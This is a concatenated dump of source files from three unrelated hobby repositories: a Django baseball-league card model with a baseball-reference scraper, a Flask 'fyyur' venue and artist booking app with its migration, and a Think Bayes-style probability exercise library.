def bp_r(self): bp = '' if not self.power_right: bp += 'w' else: bp += '{}'.format(self.diamonds_right) if self.triangles_right == 0: bp += '\u25bc' return bp def cl_r(self): return '{:+d}'.format(self.clutch_right) class PitcherCardStats(PlayerCardStats): starter_endurance = models.IntegerField(null=True, blank=True) relief_endurance = models.IntegerField(null=True, blank=True) closer_rating = models.IntegerField(null=True, blank=True) hold = models.IntegerField() wild_pitch = models.IntegerField() balk = models.IntegerField() def_range = models.IntegerField() def_error = models.IntegerField() pitcher_hitting_card = models.IntegerField() power = models.BooleanField() def bp_l(self): if self.triangles_left == 0: return '{}'.format(self.diamonds_left) + '\u25bc' else: return '{}'.format(self.diamonds_left) def bp_r(self): if self.triangles_right == 0: return '{}'.format(self.diamonds_right) + '\u25bc' else: return '{}'.format(self.diamonds_right) def hold_rating(self): return '{:+d}'.format(self.hold) def phc(self): power = 'W' if self.power: power = 'N' return '{}{}{}-{}'.format(self.pitcher_hitting_card, power, self.player.bats.upper(), self.bunt_rating)
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,146
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/database_loading/player_qualifying_season.py
import csv import requests from bs4 import BeautifulSoup as bs def load_file(): with open('available_players.csv') as csvfile: file = csv.reader(csvfile) players = [] for row in file: players.append(row) return players def save_file(save_info): with open('players.csv', 'w') as csvffile: csvwrite = csv.writer(csvffile) for row in save_info: csvwrite.writerow(row) def get_player_url(id): url = "https://www.baseball-reference.com/players/{}/{}.shtml".format(id[0], id) return url def get_player_page(url, player_type): page = requests.get(url) soup = bs(page.text, 'html.parser') table = soup.find_all('tbody')[0] rows = table.find_all('tr', class_='full') qualified_seasons = 0 questionable_seasons = 0 if player_type == 'p': for r in rows: cells = r.find_all('td') games_started = cells[8].get_text() innings_pitched = cells[13].get_text() games_started = int(games_started) innings_pitched = float(innings_pitched) if innings_pitched >= 40: qualified_seasons += 1 elif innings_pitched >= 25: if games_started == 0: qualified_seasons += 1 elif games_started <= 2: questionable_seasons += 1 elif player_type == 'h': for r in rows: cells = r.find_all('td') plate_appearances = cells[4].get_text() plate_appearances = int(plate_appearances) if plate_appearances >= 100: qualified_seasons += 1 return qualified_seasons, questionable_seasons def assign_contract(player): contract = ['', 0] if player[3] > 3: contract[0] = 'FA' elif player[3] == 3: if player[4] == 0: contract = ['Y3', 600000] else: contract[0] = 'lookup' elif player[3] == 2: if player[4] == 0: contract = ['Y2', 550000] else: contract[0] = 'lookup' elif player[3] == 1: if player[4] == 0: contract = ['Y1', 500000] else: contract[0] = 'lookup' elif player[3] == 0: if player[4] == 0: contract = ['AAA', 250000] else: contract[0] = 'lookup' return contract def main(): players = load_file() returned_players = [] for p in players: p.append(get_player_url(p[0])) p.extend(get_player_page(p[2], p[1])) p.extend(assign_contract(p)) returned_players.append(p) print(p) save_file(returned_players) if __name__ == '__main__': main()
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,152
MoHassn/fyyur
refs/heads/main
/migrations/versions/35e55bec1eca_.py
"""empty message Revision ID: 35e55bec1eca Revises: d0f6ef056fa4 Create Date: 2021-07-19 02:39:47.777843 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '35e55bec1eca' down_revision = 'd0f6ef056fa4' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_table('venue_genres') op.drop_table('Genres') op.add_column('Artist', sa.Column('website', sa.String(length=120), nullable=True)) op.add_column('Artist', sa.Column('seeking_venue', sa.Boolean(), nullable=False)) op.add_column('Artist', sa.Column('seeking_description', sa.String(length=500), nullable=True)) op.add_column('Venue', sa.Column('website', sa.String(length=120), nullable=True)) op.add_column('Venue', sa.Column('seeking_talent', sa.Boolean(), nullable=False)) op.add_column('Venue', sa.Column('seeking_description', sa.String(length=500), nullable=True)) op.add_column('Venue', sa.Column('genres', sa.String(length=120), nullable=True)) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_column('Venue', 'genres') op.drop_column('Venue', 'seeking_description') op.drop_column('Venue', 'seeking_talent') op.drop_column('Venue', 'website') op.drop_column('Artist', 'seeking_description') op.drop_column('Artist', 'seeking_venue') op.drop_column('Artist', 'website') op.create_table('Genres', sa.Column('id', sa.INTEGER(), server_default=sa.text('nextval(\'"Genres_id_seq"\'::regclass)'), autoincrement=True, nullable=False), sa.Column('name', sa.VARCHAR(), autoincrement=False, nullable=False), sa.PrimaryKeyConstraint('id', name='Genres_pkey'), postgresql_ignore_search_path=False ) op.create_table('venue_genres', sa.Column('venue_id', sa.INTEGER(), autoincrement=False, nullable=True), sa.Column('genres_id', sa.INTEGER(), autoincrement=False, nullable=True), sa.ForeignKeyConstraint(['genres_id'], ['Genres.id'], name='venue_genres_genres_id_fkey'), sa.ForeignKeyConstraint(['venue_id'], ['Venue.id'], name='venue_genres_venue_id_fkey') ) # ### end Alembic commands ###
{"/app.py": ["/past.py", "/models.py"]}
46,153
MoHassn/fyyur
refs/heads/main
/past.py
import datetime, dateutil # I came out with this approach after tens of searches on google and stackoverflow # this answer helped me to compare the two differnt formates https://stackoverflow.com/a/41624199/11998654 def past(date_time): return dateutil.parser.parse(date_time).replace(tzinfo=datetime.timezone.utc) < datetime.datetime.now().replace(tzinfo=datetime.timezone.utc)
{"/app.py": ["/past.py", "/models.py"]}
46,154
MoHassn/fyyur
refs/heads/main
/app.py
#----------------------------------------------------------------------------# # Imports #----------------------------------------------------------------------------# import json import dateutil.parser import babel from flask import Flask, render_template, request, Response, flash, redirect, url_for from flask_moment import Moment import logging from logging import Formatter, FileHandler from flask_wtf import Form from forms import * from past import * from flask_migrate import Migrate import sys from models import * #----------------------------------------------------------------------------# # App Config. #----------------------------------------------------------------------------# app = Flask(__name__) moment = Moment(app) app.config.from_object('config') db.init_app(app) migrate = Migrate(app, db) #----------------------------------------------------------------------------# # Filters. #----------------------------------------------------------------------------# def format_datetime(value, format='medium'): date = dateutil.parser.parse(value) if format == 'full': format="EEEE MMMM, d, y 'at' h:mma" elif format == 'medium': format="EE MM, dd, y h:mma" return babel.dates.format_datetime(date, format, locale='en') app.jinja_env.filters['datetime'] = format_datetime #----------------------------------------------------------------------------# # Controllers. #----------------------------------------------------------------------------# @app.route('/') def index(): return render_template('pages/home.html') # Venues # ---------------------------------------------------------------- @app.route('/venues') def venues(): data = [] cities = set() for venue in Venue.query.all(): cities.add((venue.city, venue.state)) for city in cities: venues = Venue.query.filter(Venue.city == city[0]).filter(Venue.state == city[1]).all() venues_data = [] for venue in venues: shows = db.session.query(Shows).join(Venue).filter(Shows.venue_id == venue.id).all() upcoming_shows = 0 for show in shows: if not past(show.start_time): upcoming_shows += 1 venues_data.append({ "id": venue.id, "name": venue.name, "num_upcoming_shows": upcoming_shows, }) data.append({ "city": city[0], "state": city[1], "venues": venues_data }) return render_template('pages/venues.html', areas=data); @app.route('/venues/search', methods=['POST']) def search_venues(): search_term = request.form.get("search_term") result = Venue.query.filter(Venue.name.ilike("%" + search_term + "%")) response_data = [] for venue in result: shows = db.session.query(Shows).join(Venue).filter(Shows.venue_id == venue.id).all() upcoming_shows = 0 for show in shows: if not past(show.start_time): upcoming_shows += 1 response_data.append({ "id": venue.id, "name": venue.name, "num_upcoming_shows": upcoming_shows }) response = { "count": len(response_data), "data": response_data } return render_template('pages/search_venues.html', results=response, search_term=request.form.get('search_term', '')) @app.route('/venues/<int:venue_id>') def show_venue(venue_id): venue = Venue.query.get(venue_id) shows = db.session.query(Shows).join(Venue).filter(Shows.venue_id == venue_id).all() data = {key:venue.__dict__[key] for key in["id", "name", "address", "city", "state", "phone", "website", "facebook_link", "seeking_talent", "seeking_description", "image_link"]} data["genres"] = json.loads(venue.__dict__['genres']) past_shows = [] upcoming_shows = [] for show in shows: if past(show.start_time): past_shows.append({ "artist_id": show.artist.id, "artist_name": show.artist.name, "artist_image_link": show.artist.image_link, "start_time": show.start_time }) else: upcoming_shows.append({ "artist_id": show.artist.id, "artist_name": show.artist.name, "artist_image_link": show.artist.image_link, "start_time": show.start_time }) data['past_shows'] = past_shows data['upcoming_shows'] = upcoming_shows data['past_shows_count'] = len(past_shows) data['upcoming_shows_count'] = len(upcoming_shows) return render_template('pages/show_venue.html', venue=data) # Create Venue # ---------------------------------------------------------------- @app.route('/venues/create', methods=['GET']) def create_venue_form(): form = VenueForm() return render_template('forms/new_venue.html', form=form) @app.route('/venues/create', methods=['POST']) def create_venue_submission(): form = VenueForm(request.form, meta={"csrf": False}) if form.validate_on_submit(): try: venue = Venue( name=form.name.data , city=form.city.data , state=form.state.data , address=form.address.data , phone=form.phone.data , image_link=form.image_link.data , genres=json.dumps(form.genres.data) , facebook_link=form.facebook_link.data , website=form.website_link.data , seeking_talent=form.seeking_talent.data , seeking_description=form.seeking_description.data , ) db.session.add(venue) db.session.commit() flash('Venue ' + request.form['name'] + ' was successfully listed!') except: print(sys.exc_info()) db.session.rollback() flash('An error occurred. Venue ' + request.form['name'] + ' could not be listed.') finally: db.session.close() return render_template('pages/home.html') else: flash(form.errors) return render_template('forms/new_venue.html', form=form) @app.route('/venues/<venue_id>', methods=['DELETE']) def delete_venue(venue_id): try: venue = Venue.query.get(venue_id) shows = db.session.query(Shows).join(Venue).filter(Shows.venue_id == venue_id).all() # first deleted the shows associated to this venue for show in show: db.session.delete(show) # delete the venue db.session.delete(venue) db.session.commit() except: db.session.rollback() finally: db.session.close() return None # BONUS CHALLENGE: Implement a button to delete a Venue on a Venue Page, have it so that # clicking that button delete it from the db then redirect the user to the homepage # Artists # ---------------------------------------------------------------- @app.route('/artists') def artists(): data = [] for artist in Artist.query.all(): data.append({ "id": artist.id, "name": artist.name }) return render_template('pages/artists.html', artists=data) @app.route('/artists/search', methods=['POST']) def search_artists(): search_term = request.form.get("search_term") result = Artist.query.filter(Artist.name.ilike("%" + search_term + "%")) response_data = [] for artist in result: shows = db.session.query(Shows).join(Artist).filter(Shows.artist_id == artist.id).all() upcoming_shows = 0 for show in shows: if not past(show.start_time): upcoming_shows += 1 response_data.append({ "id": artist.id, "name": artist.name, "num_upcoming_shows": upcoming_shows, }) response = { "count": len(response_data), "data": response_data } return render_template('pages/search_artists.html', results=response, search_term=request.form.get('search_term', '')) @app.route('/artists/<int:artist_id>') def show_artist(artist_id): artist = Artist.query.get(artist_id) shows = db.session.query(Shows).join(Artist).filter(Shows.artist_id == artist_id).all() data = {key:artist.__dict__[key] for key in ["id","name","city","state","phone","website","facebook_link","seeking_venue","seeking_description","image_link"]} data["genres"] = json.loads(artist.__dict__['genres']) past_shows = [] upcoming_shows = [] for show in shows: if past(show.start_time): past_shows.append({ "venue_id": show.venue.id, "venue_name": show.venue.name, "venue_image_link": show.venue.image_link, "start_time": show.start_time }) else: upcoming_shows.append({ "venue_id": show.venue.id, "venue_name": show.venue.name, "venue_image_link": show.venue.image_link, "start_time": show.start_time }) data['past_shows'] = past_shows data['upcoming_shows'] = upcoming_shows data['past_shows_count'] = len(past_shows) data['upcoming_shows_count'] = len(upcoming_shows) return render_template('pages/show_artist.html', artist=data) # Update # ---------------------------------------------------------------- @app.route('/artists/<int:artist_id>/edit', methods=['GET']) def edit_artist(artist_id): artist = Artist.query.get(artist_id) form = ArtistForm( name=artist.name, city=artist.city, state=artist.state, phone=artist.phone, image_link=artist.image_link, genres=json.loads(artist.genres), facebook_link=artist.facebook_link, website_link=artist.website, seeking_venue=artist.seeking_venue, seeking_description=artist.seeking_description, ) return render_template('forms/edit_artist.html', form=form, artist=artist) @app.route('/artists/<int:artist_id>/edit', methods=['POST']) def edit_artist_submission(artist_id): try: form = ArtistForm() artist = Artist.query.get(artist_id) artist.name = form.name.data artist.city = form.city.data artist.state = form.state.data artist.phone = form.phone.data artist.image_link = form.image_link.data artist.genres = json.dumps(form.genres.data) artist.facebook_link = form.facebook_link.data artist.website = form.website_link.data artist.seeking_venue = form.seeking_venue.data artist.seeking_description = form.seeking_description.data db.session.add(artist) db.session.commit() except: print(sys.exc_info()) db.session.rollback() finally: db.session.close() return redirect(url_for('show_artist', artist_id=artist_id)) @app.route('/venues/<int:venue_id>/edit', methods=['GET']) def edit_venue(venue_id): venue = Venue.query.get(venue_id) form = VenueForm( name= venue.name, city= venue.city, state= venue.state, address= venue.address, phone= venue.phone, image_link= venue.image_link, genres= json.loads(venue.genres), facebook_link= venue.facebook_link, website_link= venue.website, seeking_talent= venue.seeking_talent, seeking_description= venue.seeking_description, ) return render_template('forms/edit_venue.html', form=form, venue=venue) @app.route('/venues/<int:venue_id>/edit', methods=['POST']) def edit_venue_submission(venue_id): try: form = VenueForm() venue = Venue.query.get(venue_id) venue.name = form.name.data venue.city = form.city.data venue.state = form.state.data venue.address = form.address.data venue.phone = form.phone.data venue.image_link = form.image_link.data venue.genres = json.dumps(form.genres.data) venue.facebook_link = form.facebook_link.data venue.website = form.website_link.data venue.seeking_talent = form.seeking_talent.data venue.seeking_description = form.seeking_description.data db.session.add(venue) db.session.commit() except: print(sys.exc_info()) db.session.rollback() finally: db.session.close() return redirect(url_for('show_venue', venue_id=venue_id)) # Create Artist # ---------------------------------------------------------------- @app.route('/artists/create', methods=['GET']) def create_artist_form(): form = ArtistForm() return render_template('forms/new_artist.html', form=form) @app.route('/artists/create', methods=['POST']) def create_artist_submission(): form = ArtistForm(request.form, meta={"csrf": False}) if form.validate_on_submit(): try: artist = Artist( name=form.name.data, city=form.city.data, state=form.state.data, phone=form.phone.data, image_link=form.image_link.data, genres=json.dumps(form.genres.data), facebook_link=form.facebook_link.data, website=form.website_link.data, seeking_venue=form.seeking_venue.data, seeking_description=form.seeking_description.data, ) db.session.add(artist) db.session.commit() flash('Artist ' + request.form['name'] + ' was successfully listed!') except: print(sys.exc_info()) db.session.rollback() flash('An error occurred. Artist ' + request.form['name'] + ' could not be listed.') finally: db.session.close() return render_template('pages/home.html') else: flash(form.errors) return render_template('forms/new_artist.html', form=form) # Shows # ---------------------------------------------------------------- @app.route('/shows') def shows(): data = [] for show in Shows.query.all(): data.append({ "venue_id" : show.venue_id, "venue_name" : show.venue.name, "artist_id" : show.artist_id, "artist_name" : show.artist.name, "artist_image_link" : show.artist.image_link, "start_time" : show.start_time }) return render_template('pages/shows.html', shows=data) @app.route('/shows/create') def create_shows(): # renders form. do not touch. form = ShowForm() return render_template('forms/new_show.html', form=form) @app.route('/shows/create', methods=['POST']) def create_show_submission(): form = ShowForm(request.form, meta={"csrf": False}) if form.validate_on_submit(): try: show = Shows( venue_id=form.venue_id.data, artist_id=form.artist_id.data, start_time=form.start_time.data, ) db.session.add(show) db.session.commit() flash('Show was successfully listed!') except: print(sys.exc_info()) db.session.rollback() flash('An error occurred. Show could not be listed.') finally: db.session.close() return render_template('pages/home.html') else: flash(form.errors) return render_template('forms/new_show.html', form=form) @app.errorhandler(404) def not_found_error(error): return render_template('errors/404.html'), 404 @app.errorhandler(500) def server_error(error): return render_template('errors/500.html'), 500 if not app.debug: file_handler = FileHandler('error.log') file_handler.setFormatter( Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]') ) app.logger.setLevel(logging.INFO) file_handler.setLevel(logging.INFO) app.logger.addHandler(file_handler) app.logger.info('errors') #----------------------------------------------------------------------------# # Launch. #----------------------------------------------------------------------------# # Default port: if __name__ == '__main__': app.run() # Or specify port manually: ''' if __name__ == '__main__': port = int(os.environ.get('PORT', 5000)) app.run(host='0.0.0.0', port=port) '''
{"/app.py": ["/past.py", "/models.py"]}
46,155
MoHassn/fyyur
refs/heads/main
/models.py
#----------------------------------------------------------------------------# # Models. #----------------------------------------------------------------------------# from flask_sqlalchemy import SQLAlchemy db = SQLAlchemy() # I intended to make genres many to many relationship # but I found it will result in chages to the form and the front-end # so I will come back later # The many to many relationship to enable venue to have multiple genres # venue_genres = db.Table('venue_genres', # db.Column('venue_id',db.Integer, db.ForeignKey('Venue.id', primary_key=True)), # db.Column('genres_id',db.Integer, db.ForeignKey('Genres.id', primary_key=True)) # ) # the shows table # shows = db.Table('Shows', # db.Column('venue_id', db.Integer, db.ForeignKey('Venue.id', primary_key=True)), # db.Column('artist_id', db.Integer, db.ForeignKey('Artist.id', primary_key=True)), # db.Column('start_time', db.DateTime, nullable=False) # ) class Shows(db.Model): __tablename__ = 'Shows' id = db.Column(db.Integer, primary_key=True) venue_id = db.Column( db.Integer, db.ForeignKey('Venue.id')) artist_id = db.Column(db.Integer, db.ForeignKey('Artist.id')) start_time = db.Column(db.String(120)) venue = db.relationship("Venue", back_populates='shows') artist = db.relationship("Artist", back_populates='shows') class Venue(db.Model): __tablename__ = 'Venue' id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String) city = db.Column(db.String(120)) state = db.Column(db.String(120)) address = db.Column(db.String(120)) phone = db.Column(db.String(120)) image_link = db.Column(db.String(500)) facebook_link = db.Column(db.String(120)) website = db.Column(db.String(120)) seeking_talent = db.Column(db.Boolean, nullable=False, default=False) seeking_description = db.Column(db.String(500)) genres = db.Column(db.String(120)) shows = db.relationship('Shows', back_populates='venue') # shows = db.relationship('Shows', secondary=shows, backref=db.backref('venues', lazy=True)) # genres = db.relationship('Genres',secondary=venue_genres, backref=db.backref('venues', lazy=True) ) # class Genres(db.Model): # __tablename__ = 'Genres' # id = db.Column(db.Integer, primary_key=True) # name = db.Column(db.String(), nullable=False) class Artist(db.Model): __tablename__ = 'Artist' id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String) city = db.Column(db.String(120)) state = db.Column(db.String(120)) phone = db.Column(db.String(120)) genres = db.Column(db.String(120)) image_link = db.Column(db.String(500)) facebook_link = db.Column(db.String(120)) website = db.Column(db.String(120)) seeking_venue = db.Column(db.Boolean, nullable=False, default=False) seeking_description = db.Column(db.String(500)) shows = db.relationship('Shows', back_populates='artist')
{"/app.py": ["/past.py", "/models.py"]}
46,156
Brackie/thinkbayes
refs/heads/master
/cookie.py
from thinkbayes import Pmf pmf = Pmf("The vanilla cookie came from Jar 1") pmf.set('Jar 1', 0.5) pmf.set('Jar 2', 0.5) pmf.mult('Jar 1', 0.75) pmf.mult('Jar 2', 0.5) pmf.normalize() pmf.table()
{"/cookie.py": ["/thinkbayes.py"], "/intro.py": ["/thinkbayes.py"], "/train2.py": ["/thinkbayes.py"], "/train.py": ["/thinkbayes.py"], "/montyhall.py": ["/thinkbayes.py"], "/elvistwin.py": ["/thinkbayes.py"], "/d_n_d.py": ["/thinkbayes.py"], "/train3.py": ["/thinkbayes.py"], "/m_n_m.py": ["/thinkbayes.py"]}
46,157
Brackie/thinkbayes
refs/heads/master
/intro.py
from thinkbayes import Pmf pmf = Pmf() for i in [1, 2, 3, 4, 5, 6]: pmf.set(i, 1/6.0) pmf.table()
{"/cookie.py": ["/thinkbayes.py"], "/intro.py": ["/thinkbayes.py"], "/train2.py": ["/thinkbayes.py"], "/train.py": ["/thinkbayes.py"], "/montyhall.py": ["/thinkbayes.py"], "/elvistwin.py": ["/thinkbayes.py"], "/d_n_d.py": ["/thinkbayes.py"], "/train3.py": ["/thinkbayes.py"], "/m_n_m.py": ["/thinkbayes.py"]}
46,158
Brackie/thinkbayes
refs/heads/master
/train2.py
from thinkbayes import Suite import matplotlib.pyplot as plt class Train2(Suite): def __init__(self, hyp, hypos, alpha=1.0): Suite.__init__(self, hyp, None) self.hypos = hypos for hypo in hypos: self.set(hypo, hypo ** (-alpha)) self.normalize() def likelihood(self, hypo, data): if hypo < data: return 0.0 return 1/hypo priors = [range(1, 501), range(1, 1001), range(1, 2001)] # When we use the power law of distribution where the number of companies in a # certain tier is inversely proportional to the number of locomotives each owns, # the mean of the posterior distributions begin to converge print('''When we use the power law of distribution where the number of companies in a certain tier is inversely proportional to the number of locomotives each owns,the mean of the posterior distributions begin to converge\n''') for prior in priors: print("With a prior of uniform distribution 1 - %d with 3 observations" % prior[-1]) train = Train2("How many trains does a company have if we see a train number", prior) for observation in [60, 30, 90]: train.update(observation, "How many trains does a company have if we see a train number %d" % observation) print("For observation: {}, Posterior distribution mean is: {}".format(observation, train.mean())) print("The credible interval is ({} - {})".format(train.percentile(5), train.percentile(95))) print() plt.show()
{"/cookie.py": ["/thinkbayes.py"], "/intro.py": ["/thinkbayes.py"], "/train2.py": ["/thinkbayes.py"], "/train.py": ["/thinkbayes.py"], "/montyhall.py": ["/thinkbayes.py"], "/elvistwin.py": ["/thinkbayes.py"], "/d_n_d.py": ["/thinkbayes.py"], "/train3.py": ["/thinkbayes.py"], "/m_n_m.py": ["/thinkbayes.py"]}
46,159
Brackie/thinkbayes
refs/heads/master
/thinkbayes.py
from numpy import array class Pmf: """ Class to represent a distribution of Mutually Exclusive and Collectively comprehensive variables with total probability H - Hypotheses D - Data Prior P(H) - is the initial probability of an hypotheses without seeing the data Likelihood P(D|H) - is the probability of an event happening given the hypotheses Posterior P(H|D) - is the probability of the hypotheses given the data Posterior = ((Prior * Likelihood) / Normalizing Constant) Normalizing constant P(D) - is the probability of an event happening under any hypotheses """ def __init__(self, hyp): self.hyp = hyp self.variables = list() self.probabilities = list() def set(self, x, p): """Function to assign prior P(H) probabilities to the different hypotheses""" if x in self.variables: raise ValueError("Value already exists") self.variables.append(x) self.probabilities.append(p) def mult(self, x, p): """Function to assign multiply probabilities by a certain value usually likelihoods P(D|H)""" if x not in self.variables: raise ValueError("Value doesn't exists") i = self.variables.index(x) self.probabilities[i] *= p def prob(self, x): """Function to return probability of a hypotheses x""" if x not in self.variables: raise ValueError("Value doesn't exists") i = self.variables.index(x) return self.probabilities[i] def hypotheses(self): return array(self.variables) def probs(self): return array(self.probabilities) def normalize(self, fraction=1.0): """Function to normalize the probabilities by dividing through by the normalizing constant""" total = self.cumulative() if total == 0.0: raise ValueError("Probability is 0") factor = float(fraction) / total for i in range(len(self.variables)): self.probabilities[i] *= factor def cumulative(self): return sum(self.probabilities) def table(self): """Utility function to print results""" print("H: " + self.hyp) for i in range(len(self.variables)): print("X: {}, p(x): {}".format(self.variables[i], self.probabilities[i])) class Cdf: def __init__(self): self.hyp = list() self.cp = list() def make(self, hypos, probs): total = 0.0 for hypo, prob in zip(hypos, probs): total += prob self.hyp.append(hypo) self.cp.append(total) def percentile(self, hypo): i = self.hyp.index(hypo) return self.cp[i] class Suite(Pmf): """Template class extends Pmf""" def __init__(self, hyp, hypos=None): Pmf.__init__(self, hyp) if hypos is None: hypos = list() self.hypos = hypos self.n = len(hypos) for hypo in hypos: self.set(hypo, 1/self.n) def update(self, data, hyp=None): """Updates the probabilities of the hypothesis based on data and likelihood""" if hyp is not None: self.hyp = hyp for hypo in self.hypos: like = self.likelihood(hypo, data) self.mult(hypo, like) self.normalize() def likelihood(self, hypo, data): """returns likelihood of a specific hypothesis""" def mean(self): """Function to find the mean of the posterior distribution""" total = 0 for hypo, prob in zip(self.hypotheses(), self.probs()): if not str(hypo).isdigit(): raise TypeError("Value is not a digit") total += hypo * prob return total def percentile(self, percent): """Function to get the value at the 'percent' percentile""" total = 0.0 p = percent / 100.0 for hypo, prob in zip(self.hypotheses(), self.probs()): total += prob if total >= p: return hypo
{"/cookie.py": ["/thinkbayes.py"], "/intro.py": ["/thinkbayes.py"], "/train2.py": ["/thinkbayes.py"], "/train.py": ["/thinkbayes.py"], "/montyhall.py": ["/thinkbayes.py"], "/elvistwin.py": ["/thinkbayes.py"], "/d_n_d.py": ["/thinkbayes.py"], "/train3.py": ["/thinkbayes.py"], "/m_n_m.py": ["/thinkbayes.py"]}
46,160
Brackie/thinkbayes
refs/heads/master
/train.py
from thinkbayes import Suite import matplotlib.pyplot as plt class Train(Suite): def likelihood(self, hypo, data): if hypo < data: return 0.0 return 1/hypo priors = [range(1, 501), range(1, 1001), range(1, 2001)] for color, prior in zip(["r-", "g-", "b-"], priors): print("With a prior of uniform distribution 1 - %d" % prior[-1]) train = Train("How many trains does a company have if we see a train number 60", prior) train.update(60) print("The posterior distribution mean is %.3f" % train.mean()) print("") plt.plot(train.hypotheses(), train.probs(), color) # When we use more observations, the mean of the posterior distributions begin to converge print("When we use more observations, the mean of the posterior distributions begin to converge") for prior in priors: print("With a prior of uniform distribution 1 - %d with 3 observations" % prior[-1]) train = Train("How many trains does a company have if we see a train number", prior) for observation in [60, 30, 90]: train.update(observation, "How many trains does a company have if we see a train number %d" % observation) print("For observation: {}, Posterior distribution mean is: {}".format(observation, train.mean())) print("") plt.show()
{"/cookie.py": ["/thinkbayes.py"], "/intro.py": ["/thinkbayes.py"], "/train2.py": ["/thinkbayes.py"], "/train.py": ["/thinkbayes.py"], "/montyhall.py": ["/thinkbayes.py"], "/elvistwin.py": ["/thinkbayes.py"], "/d_n_d.py": ["/thinkbayes.py"], "/train3.py": ["/thinkbayes.py"], "/m_n_m.py": ["/thinkbayes.py"]}
46,161
Brackie/thinkbayes
refs/heads/master
/montyhall.py
from thinkbayes import Pmf pmf = Pmf("After contestant chooses door A, Monty opens door B and their is no car") # Setting the priors pmf.set('Door 1', 1/3) pmf.set('Door 2', 1/3) pmf.set('Door 3', 1/3) # Finding probabilities based on the priors and likelihoods pmf.mult("Door 1", 1/2) pmf.mult('Door 2', 0) pmf.mult('Door 3', 1) # Normalizing the data using Bayes theorem pmf.normalize() # Displaying the data pmf.table()
{"/cookie.py": ["/thinkbayes.py"], "/intro.py": ["/thinkbayes.py"], "/train2.py": ["/thinkbayes.py"], "/train.py": ["/thinkbayes.py"], "/montyhall.py": ["/thinkbayes.py"], "/elvistwin.py": ["/thinkbayes.py"], "/d_n_d.py": ["/thinkbayes.py"], "/train3.py": ["/thinkbayes.py"], "/m_n_m.py": ["/thinkbayes.py"]}
46,162
Brackie/thinkbayes
refs/heads/master
/elvistwin.py
from thinkbayes import Pmf pmf = Pmf("Elvis was an identical twin") # Setting priors on all pmf.set("A", 0.08) pmf.set("B", 0.92) # Finding probabilities based on the priors and likelihoods pmf.mult("A", 1) pmf.mult("B", 1/2) # Normalizing the data using Bayes theorem pmf.normalize() # Display the posteriors pmf.table()
{"/cookie.py": ["/thinkbayes.py"], "/intro.py": ["/thinkbayes.py"], "/train2.py": ["/thinkbayes.py"], "/train.py": ["/thinkbayes.py"], "/montyhall.py": ["/thinkbayes.py"], "/elvistwin.py": ["/thinkbayes.py"], "/d_n_d.py": ["/thinkbayes.py"], "/train3.py": ["/thinkbayes.py"], "/m_n_m.py": ["/thinkbayes.py"]}
46,163
Brackie/thinkbayes
refs/heads/master
/d_n_d.py
from thinkbayes import Suite class DND(Suite): def likelihood(self, hypo, data): if hypo < data: return 0.0 return 1/hypo hypos = [4, 6, 8, 12, 20] dnd = DND("What is the probability of picking a particular die if we roll a six", hypos) dnd.update(6) dnd.table() for roll in [7, 7, 8, 9, 12, 8]: dnd.update(roll, hyp="What is the probability of picking a particular die if we roll a %s" % roll) dnd.table()
{"/cookie.py": ["/thinkbayes.py"], "/intro.py": ["/thinkbayes.py"], "/train2.py": ["/thinkbayes.py"], "/train.py": ["/thinkbayes.py"], "/montyhall.py": ["/thinkbayes.py"], "/elvistwin.py": ["/thinkbayes.py"], "/d_n_d.py": ["/thinkbayes.py"], "/train3.py": ["/thinkbayes.py"], "/m_n_m.py": ["/thinkbayes.py"]}
46,164
Brackie/thinkbayes
refs/heads/master
/train3.py
from thinkbayes import Suite import matplotlib.pyplot as plt class Train3(Suite): def __init__(self, hyp, hypos, alpha=1.0): Suite.__init__(self, hyp, None) self.hypos = hypos for hypo in hypos: self.set(hypo, 1/len(hypos)) def likelihood(self, hypo, data): if hypo < data: return 0.0 return 1/hypo priors = [range(1, 501), range(1, 1001), range(1, 2001)] for prior in priors: print("With a prior of uniform distribution 1 - %d with 3 observations" % prior[-1]) train = Train3("How many trains does a company have if we see a train number", prior) for observation in [60, 30, 90, 70, 100, 45, 78, 20, 59]: train.update(observation, "How many trains does a company have if we see a train number %d" % observation) print("For observation: {}, Posterior distribution mean is: {}".format(observation, train.mean())) print("The credible interval is ({} - {})".format(train.percentile(5), train.percentile(95))) print() plt.show()
{"/cookie.py": ["/thinkbayes.py"], "/intro.py": ["/thinkbayes.py"], "/train2.py": ["/thinkbayes.py"], "/train.py": ["/thinkbayes.py"], "/montyhall.py": ["/thinkbayes.py"], "/elvistwin.py": ["/thinkbayes.py"], "/d_n_d.py": ["/thinkbayes.py"], "/train3.py": ["/thinkbayes.py"], "/m_n_m.py": ["/thinkbayes.py"]}
46,165
Brackie/thinkbayes
refs/heads/master
/m_n_m.py
